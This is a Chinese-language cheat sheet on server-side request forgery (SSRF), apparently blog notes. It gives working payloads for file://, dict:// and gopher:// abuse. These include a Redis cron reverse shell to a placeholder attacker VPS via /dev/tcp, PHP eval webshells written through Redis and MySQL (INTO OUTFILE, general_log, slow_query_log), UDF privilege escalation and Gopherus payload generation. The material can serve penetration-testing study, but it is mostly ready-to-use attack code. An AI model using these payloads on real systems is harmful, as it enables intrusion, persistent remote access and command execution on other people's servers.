服务端请求伪造(Server Side Request Forgery, SSRF)指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。

file协议

  • 主要用途:读取服务器本地文件
  • 格式file://<文件绝对路径>
  • 典型示例file:///etc/passwd

ssrf中用file协议探测内网资产

file:///etc/hosts
file:///proc/net/arp

dict协议

  • 主要用途
    1. 探测内网主机存活
    2. 探测端口是否开放
    3. 获取端口对应服务指纹信息
    4. 攻击 Redis(执行命令、写入定时任务/WebShell/SSH 公钥)
  • 协议格式
    • 探测:dict://<ip>:<port>
    • 执行命令:dict://<ip>:<port>/<命令>

常见使用方法

探测服务

dict://127.0.0.1:22         # SSH
dict://172.22.10.10:3306    # MySQL
dict://127.0.0.1:6379/info  # Redis 获取信息

反弹shell

dict://127.0.0.1:6379/config:set:dbfilename:root
dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
dict://127.0.0.1:6379/set:test:"\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/外网vps ip/外网vps端口 0>&1\n\n"
dict://127.0.0.1:6379/save

写入文件

dict://127.0.0.1:6379/config:set:dbfilename:test.php
dict://127.0.0.1:6379/config:set:dir:/var/www/html
dict://127.0.0.1:6379/set:test:"\n\n<?php @eval($_POST[a]);?>\n\n"
dict://127.0.0.1:6379/save

gopher 协议

  • 主要用途:构造原始 TCP 数据流,可用于攻击:
    • Redis
    • MySQL
    • FastCGI
    • SMTP 等服务
  • 协议格式: php-template 复制编辑 gopher://<ip>:<port>/_<经过 URL 编码的 TCP 数据流>
  • 注意事项
    • 数据包中的换行符 \r\n 使用 %0d%0a 表示
    • 请求结束处需添加 %0d%0a

Redis数据包

格式

*<参数数量>\r\n
$<参数1字节数>\r\n
<参数1内容>\r\n
...

示例

我们希望Redis执行以下命令:

config set dir /var/www/html
config set dbfilename shell.php
set x "<?php @eval($_POST[x]); ?>"
save

那么Redis数据包格式依次如下

config set dir /var/www/html

*4\r\n
$6\r\n
config\r\n
$3\r\n
set\r\n
$3\r\n
dir\r\n
$13\r\n
/var/www/html\r\n

config set dbfilename shell.php

*4\r\n
$6\r\n
config\r\n
$3\r\n
set\r\n
$10\r\n
dbfilename\r\n
$9\r\n
shell.php\r\n

set x "<?php @eval($_POST[x]); ?>"

*3\r\n
$3\r\n
set\r\n
$1\r\n
x\r\n
$29\r\n
<?php @eval($_POST[x]); ?>\r\n

save

*1\r\n
$4\r\n
save\r\n

Redis 不允许通过 SSRF 直接连接写文件,但我们可以构造上面这些 RESP 数据流,编码成 URL-safe 格式,配合 SSRF + gopher:// 达到效果。

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0ax%0d%0a$29%0d%0a%3c%3fphp%20%40eval%28%24_POST%5bx%5d%29%3b%20%3f%3e%0d%0a

Mysql攻击

在非交互模式下登录并操作MySQL,只能在无需密码认证,未授权情况下进行,TLS未开启。

常用命令

写入webshell

需要有写权限。

?id=1 union select 1,'<?php phpinfo();?>',3 into outfile '/var/www/shell.php'%23
?id=1 union select 1,'<?php phpinfo();?>',3 into dumpfile '/var/www/shell.php'%23

写入udf辅助提权

https://www.sqlsec.com/tools/udf.html

配合创建自定义函数执行系统命令。

mysql -u root -h 127.0.0.1 -e "CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';"

用自定义函数执行系统命令。

mysql -u root -h 127.0.0.1  -e "select sys_eval('ls /');"

日志利用

利用general_log和general_log_file拿shell

开启日志,指定日志储存位置。

set global general_log = "ON";
set global general_log_file= "/var/www/shell.php";

这个时候只要运行带有webshell的指令,就会写入到日志文件。

select '<?php phpinfo();?>';

利用慢查询拿shell

慢查询日志,只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。

查看慢查询时间。

show global variables like '%long_query_time%';

启用慢查询,指定保存位置。

set global slow_query_log = "ON";
set global slow_query_log_file =” D:/php/www/shell.php”

这个时候只要运行10秒以上的命令,就会被写入日志。

select "<?php @eval($_POST['cmd']); ?>" or sleep(11);

Gopherus

该工具专门用于SSRF攻击中Gopher协议的payload。 项目地址:https://github.com/tarunkant/Gopherus

攻击范围

  1. MySQL (Port 3306)
  2. PostgreSQL(端口-5432)
  3. FastCGI (端口-9000)
  4. Memcached(端口-11211)
  5. Redis (端口-6379)
  6. Zabbix (端口-10050)
  7. SMTP (Port 25)

使用方法

直接调用命令选择需要攻击的服务,按照需求填入相应的内容即可生成payload。

CommandDescription
gopherus —helpHelp
gopherus —exploitArguments can be :
—exploit mysql
—exploit postgresql
—exploit fastcgi
—exploit redis
—exploit zabbix
—exploit pymemcache
—exploit rbmemcache
—exploit phpmemcache
—exploit dmpmemcache
—exploit smtp